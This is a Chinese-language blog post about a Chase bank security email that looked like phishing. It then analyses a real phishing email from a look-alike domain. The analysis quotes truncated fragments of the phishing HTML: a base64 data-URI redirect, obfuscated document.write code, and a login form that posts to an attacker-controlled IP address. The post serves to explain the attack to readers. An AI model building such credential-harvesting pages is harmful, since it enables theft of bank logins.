当我第一次收到银行发来的“安全”邮件时,我第一反应就是这里是否有诈?因为在我看来,它实在是太像钓鱼邮件了。这封躺在收件箱里的邮件来源于我银行经理的个人邮箱地址,而非Chase银行的官方邮箱。邮件中不仅附带有一个HTML页面,而且还有文字告诉我“在浏览器中打开这个页面以了解如何进行下一步操作”,这一切瞬间让我提高了警惕。
首先,本身电子邮件这个东西就是不安全的,更何况是我的银行还发送了一封带有附件的“安全”邮件给我。这看起来就像是一次教科书般的钓鱼攻击,所以我赶紧拿起电话直接打给了我的银行经理。
“不是的,这是合法邮件。我需要你将它打印出来,然后签署一些文件。”这就是银行经理给我的回答。
但我说到:“首先,邮件发送人的地址看起来就非常可疑,而且这种邮件不仅要让我点击外部链接并打开附件,而且还要我在Web表单中填写我的个人信息,这谁会信啊?”
银行经理说到:“我完全理解,这确实会让人怀疑。但这封邮件没有任何问题,我的确发过这封邮件给你,如果需要的话我还可以再发一次。”
于是乎,他果然又发了一封给我。这封重发的邮件看起来与之前那封完全一样,但这一次我正在与我的银行经理通话,所以我按照要求打开了附件。邮件中有一个“点击读取信息”的按钮,点击之后将我重定向到了Chase银行的安全邮件门户网站。但是整个过程让我感到非常的奇葩,我也将我担心的地方告诉了我的银行经理、他的上司、以及Chase的客户支持部门。
值得一提的是,我们是不可能完完全全地对客户的行为进行安全培训的,而银行所采用的交互方式与钓鱼攻击几乎没有区别,这就非常危险了。
攻击分析
近期,我收到了一封真正的钓鱼邮件。这封邮件来自chase.online@chasee.com,它很明显是封伪造的邮件,但如果不仔细的话还是看不出什么端倪的。这封邮件声称我的银行账号近期出现了很多错误操作,并且跟之前那封真实的邮件一样,它也让我在浏览器中打开附件HTML文件并按提示进行操作。
但很明显我不会按它说的做!于是,我把HTML文件下载了下来,然后把它拖到了代码审查窗口中。我发现,除了正常的HTML代码之外,文件中还包含一段脚本代码:
- window.location="data:text/html;base64,PCFET0NUWVBFIEhUTUwg...
这个页面会在地址栏中显示一大堆Base64编码的数据,代码本身包含有Chase银行官网的脚本、图片以及指向合法页面的链接,整个页面看起来和正常的Chase银行登录页面没什么区别。但是,代码中还包含有其他的脚本代码(经过混淆),这些代码会在登录页面中添加一个自定义的表单:
- document.write(unescape('%3C%66%6F%72...
在对代码进行了反混淆之后,我发现所有的代码都与Chase银行的真实登录页面一致,只不过表单action属性指向的是攻击者所控制的服务器。
- <form action="http://191..."class="button" method="post" name="submit"id="submit">